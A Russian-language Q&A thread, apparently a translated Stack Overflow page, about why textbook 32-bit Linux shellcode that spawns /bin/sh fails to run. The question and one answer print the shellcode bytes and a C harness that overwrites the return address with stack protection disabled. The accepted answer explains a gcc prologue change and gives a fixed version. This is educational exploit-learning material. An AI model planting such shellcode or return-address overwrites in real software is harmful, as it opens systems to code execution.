Простой шеллкод не работает - PullRequest
0 голосов
/ 19 мая 2018

У меня есть следующий код, который должен отбрасывать оболочку, однако после запуска кода ничего не происходит.Вот код, который у меня есть.Это было взято из руководства шеллкодера.

`

char shellcode[] = 
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}`

Я компилирую его, используя gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Когда я запускаю его, происходит следующее.Actual results of shellcode

Ожидаемый результат следующий.Expected results of shellcode

Вот код, который дает вышеуказанные результаты:

int main()
{
  char *name[2];

  name[0] = "/bin/sh";
  name[1] = 0x0;
  execve(name[0], name, 0x0);
  exit(0);

}

Я не уверен, почему это происходит.Я использую Ubuntu в Windows 10. Это может не повлиять на мои результаты, но я отключил ASLR.Это может быть проблемой.Я еще не пробовал это на ВМ.Я хотел попытаться выяснить, почему это не работает, прежде чем я это сделал.Если это неясно, пожалуйста, дайте мне знать, и я буду рад уточнить любые детали.

Я заранее благодарен за всю вашу помощь.

- ОБНОВЛЕНИЕ -

Мне удалось получить инструкции по сборке из предоставленного мною шеллкода.

Assembly from above shellcode

Кто-нибудь видит какие-либо проблемы, из-за которых не удаляется оболочка?

Ответы [ 2 ]

0 голосов
/ 21 мая 2018

С помощью коллеги мы смогли выяснить, почему шелл-код не выполнялся.С шеллкодом все в порядке, проблема заключалась в обновлении компилятора gcc, которое меняет способ обработки пролога / эпилога при выполнении кода.Когда программа запускается, сгенерированный компилятором код помещает адрес возврата в стек, но это происходит с использованием нового шаблона.Исполняющая программа больше не использует адреса возврата напрямую, вставляя их в указатель инструкций (IP).Вместо этого он вставляет значение стека в %ecx, а затем использует содержимое по адресу %ecx-4 (для 32-разрядных компьютеров) в качестве адреса возврата.Поэтому способ, которым я пытался это сделать, никогда не сработал, даже если защита была отключена.Это поведение влияет только на main(), а не на функции, вызываемые main.Таким образом, простым решением было бы поместить содержимое main в другую функцию foo() и вызвать foo () из main (), как показано ниже.

char shellcode[] = 
    "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
    int *ret;
    ret = (int *)&ret + 4; 
    (*ret) = (int)shellcode;
}

int main()
{
  foo();
}

Вот вопрос, связанный с этим ответом, Понимание нового пролога gcc

0 голосов
/ 20 мая 2018

Здесь есть несколько вещей, которые могут пойти не так:

  • Хранение адреса кода оболочки оптимизировано, поскольку оно получено из переменной стека, и впоследствии ничего не читается из стека.
  • Хранилище оптимизировано, поскольку оно выходит за пределы.
  • Неправильно вычислено смещение из локальной переменной, поэтому адрес шелл-кода не перезаписывает адрес возврата.(Это то, что происходит, когда я компилирую ваш пример.)
  • Выполнение перенаправлено, но шелл-код не запускается, потому что он находится в неисполнимом сегменте .data.(Это может привести к тому, что процесс завершится с сигналом).
...